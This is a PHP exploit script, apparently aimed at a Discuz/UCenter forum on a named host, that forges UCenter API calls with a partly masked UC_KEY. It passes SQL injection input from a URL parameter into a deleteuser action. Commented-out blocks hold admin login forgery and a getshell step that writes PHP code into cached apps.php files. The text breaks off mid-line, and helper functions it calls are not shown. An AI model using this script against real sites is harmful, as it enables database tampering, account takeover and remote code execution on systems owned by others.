<?php
error_reporting(0);
$host = "bbs.fumu.com";
//$doing = $argv[2];
$time = time()+10*3600;
$getshell = 0;
    // if ($doing == 'login') {
    //     // synlogin ，不过只登陆第一个admin帐户，如果uid1不是管理员，需要自己手工找下
    //     $code = 'time='.$time.'&uid=1&username=administrator&action=synlogin';
    // } elseif ($doing == 'shell' ) {
    //     $code = 'time='.$time.'&action=updateapps';
    // } elseif ($doing == 'temp' ) {
    //     $code = 'time='.$time.'&ids=203881) and 1=1&action=deleteuser';
    // } else {
    //     $doing = 'test';
    //     $code = 'time='.$time.'&action='.$doing;
    // }
$sqlin = $_GET['id'];
$sqlin=str_replace(" ","%20",$sqlin);
$sqlin=str_replace("=","%3D",$sqlin);
$code = 'time='.$time."&ids=$sqlin&action=deleteuser";
$uc_key = array(
    //'null' => '',
    'bbs' => '59XXXXXXXXXXXXXXXX9Ib',
    //'www'=>'cf5XXXXXXXXXXXXXXXXXXXqaY2y'
);
foreach ($uc_key as $key => $value) {
    $exp = 'api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
    //echo "http://$host/$exp";
    $result = file_get_contents("http://$host/$exp");
    print_r($result);
    //$status = get_headers("http://$host/$exp");
   
    //if( $result !== 'Authracation has expiried' & strpos($status[0] , '200' ) > 0 ){
    //echo $result;
    //echo "[+] UC_KEY '$key' can use .\r\n";
    //echo "[*] EXP = $exp \r\n";
    /*
    if ( $getshell == 1 ) {  //Get shell
        echo "[+]Getshell...\r\n";
        $cmd = array(
        'one' =>
        '<?xml version="1.0" encoding="ISO-8859-1"?>
        <root>
         <item id="appid">123\');phpinfo();//</item>
        </root>'
        );

        foreach ($cmd as $key => $value) {
            $res = send($host,$exp,$value);
        }

        $getshell = 0;
    }
    print("[+]Try to
    http://$host/member/api/client/data/cache/apps.php
    or
    http://$host/uc_client/data/cache/apps.php\r\n");
    */

    /